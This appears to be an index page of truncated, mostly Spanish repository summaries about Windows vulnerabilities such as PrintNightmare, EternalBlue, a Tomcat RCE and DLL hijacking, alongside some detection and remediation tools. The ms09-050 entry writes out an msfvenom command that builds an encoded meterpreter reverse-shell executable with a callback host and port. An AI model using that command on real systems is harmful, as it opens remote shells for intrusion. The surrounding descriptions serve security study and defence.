CVE-2021-34527

CVE-2021-34527 CVE-2021-34527 es una vulnerabilidad crítica de ejecución remota de código y escalada de privilegios local denominada "PrintNightmare". Se han publicado exploits de prueba de concepto Python, C++ para la capacidad de ejecución remota de código, y una versión en C para escalada de...

ms09-050_CVE-2009-3103

ms09-050CVE-2009-3103 CVE-2009-3103 ms09-050 Comando de una sola línea para crear/generar un payload para Windows msfvenom --arch x86 --platform windows --payload windows/meterpreter/reversetcp LHOST=192.168.1.1 LPORT=4444 --bad-chars “\x00” --encoder x86/shikataganai --iterations 10 --format exe...

cve-2013-3900-remediation-report

Informe de Remediación: CVE-2013-3900 – Vulnerabilidad de WinVerifyTrust en Windows Server 2019 Máquina Virtual de Azure Resumen Durante una evaluación de vulnerabilidades autenticada reciente realizada con Tenable Nessus, se detectó CVE-2013-3900 en una máquina virtual con Windows Server 2019...

SpeculativeExecutionAssessment

SpeculativeExecutionAssessment Evalúa un sistema para las vulnerabilidades de "ejecución especulativa" descritas en: CVE-2017-5715 branch target injection CVE-2017-5753 bounds check bypass CVE-2017-5754 rogue data cache load ADVERTENCIA: Asegúrese de que "Prefer 32-bit" no esté marcado en las...

CVE-2017-12615-PoC

CVE 2017-12615 Apache Tomcat Windows RCE ⚠️Advertencia Este es un entorno de prueba de concepto y un exploit para CVEs conocidos, estrictamente con fines educativos y de aprendizaje. No utilice estos scripts o técnicas en sistemas que no posea o para los cuales no tenga permiso explícito de prueba...

SMB-Protocol-Vulnerability_CVE-2017-0144

LAB: ATTACKING THE WINDOWS OPERATING SYSTEM VIA THE SMB PROTOCOL VULNERABILITY. 1. DESCRIPTION 2. GENERAL INTRODUCTION 3. PREPARATION 4. PERFORMING THE ATTACK 5. HOW TO PREVENT 1. DESCRIPTION In this lab, we will use two computers to simulate an attack based on a vulnerability in the SMB...

winevt_logs_analysis

Analisi dei log Winevt Connessioni remote Script semplice per lo scopo di trovare connessioni remote a macchine Windows e idealmente alcuni IP pubblici. Controlla alcuni EventID relativi a login e sessioni remote. Dovresti eseguire pip install -r requirements.txt affinché lo script funzioni e pos...

CVE-2020-27955-LFS

Vulnerabilidad de Ejecución Remota de Código RCE en Git-lfs CVE-2020-27955 .bat / versión powershell Vulnerables: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken, etc. Descubierto por Dawid Golunski https://legalhackers.com https://exploitbox.io Probado en...

CVE-2022-1802

CVE-2022-1802 + CVE-2022-1529 + CVE-2022-2200 Probado contra Firefox 100.0.1 Windows https://ftp.mozilla.org/pub/firefox/releases/100.0.1/win64/en-US/Firefox%20Setup%20100.0.1.exe...

CVE-2021-1675

CVE-2021-1675 / CVE-2021-34527 Implementación de Impacket del PoC de PrintNightmare creado originalmente por Zhiniang Peng @edwardzpeng y Xuefeng Li @lxf02942370 Probado en un controlador de dominio 2019 completamente parcheado Ejecutar DLL maliciosas de forma remota o local Actualización de parc...

mangy-beast

Mangy Beast Política de CloudPassage Halo para detectar vulnerabilidad ante CVE-2014-3566 también conocido como POODLE para hosts Red Hat que ejecutan Apache y modssl o modnss y Windows Server 2008 y 2012 solo procesos de servidor No vamos a repetir los detalles minuciosos de CVE-2014-3566, tambi...

cve-2017-0143

Explotación de CVE-2017-0143 - Vulnerabilidad EternalBlue 📌 Descripción Este proyecto demuestra cómo explotar la vulnerabilidad CVE-2017-0143 EternalBlue en un entorno controlado con fines educativos y de pruebas de penetración. El ataque se realizó en un sistema Windows 7 utilizando Metasploit...

CVE-2017-1000475

CVE-2017-1000475: Freesshd Unquoted Service Path Prove of concept Windows 10 with freeSSHd 1.3.1, installed by default and with the option running as a system service. Command to check Unquoted Service Path. The service is unquoted by default. The process is running as SYSTEM by default. Create a...

nuc-winring0-fix

Intel NUC WinRing0 Vulnerable Driver - Permanent Removal Guide Windows Defender flags OpenHardwareMonitorLib.sys WinRing0 driver as VulnerableDriver:WinNT/Winring0 due to CVE-2020-14979. This driver is bundled with Intel's NUC Software Studio service and gets reinstalled via Windows Update. This...

js-driveby-download-CVE-2006-4777

js-driveby-download-CVE-2006-4777 client-side malware exploiting vulnerability in Internet Explorer 6.0 SP1 on Windows XP SP2. Requires no user consent and does not download any file. Shell Code Injection into RAM from JavaScript with IE on Windows XP. Fileless, drive-by-download, client side...

CVE-2023-6401

CVE-2023-6401 · Prueba de concepto de secuestro de DLL English | 中文 中文 ⚠️ Aviso importante: Solo para fines de investigación y educación en seguridad Prueba de concepto de la vulnerabilidad de secuestro de DLL en NotePad++ ≤ 8.1. Ejecuta código arbitrario colocando un dbghelp.dll malicioso en el...

CVE-2023-32353-PoC

CVE-2023-32353 Prueba de Concepto Descargo de responsabilidad Este código de prueba de concepto se publica con fines educativos. Debería animar a otras personas a encontrar vulnerabilidades similares, reportarlas de manera responsable y corregirlas. El 23 de mayo de 2023, Apple publicó una...

dynmx

dynmx Prototipo dynmx pronunciato dinamiche è un approccio di rilevamento basato su firme per caratteristiche comportamentali di malware basate su sequenze di chiamate API di Windows. In modo semplificato, puoi pensare a dynmx come una sorta di YARA per tracce di chiamate API i cosiddetti functio...

WindowsRootkitsGuide

Questo repository non contiene un README...

CVE-2015-1578-PoC

CVE-2015-1578-PoC Overview This is a proof-of-concept exploit for CVE-2015-1578 , a buffer overflow vulnerability in Achat 0.150 beta7 on Windows. Exploitation leads to remote code execution via a crafted UDP packet. Purpose This PoC is intended to serve as a clean, minimal, and well-structured...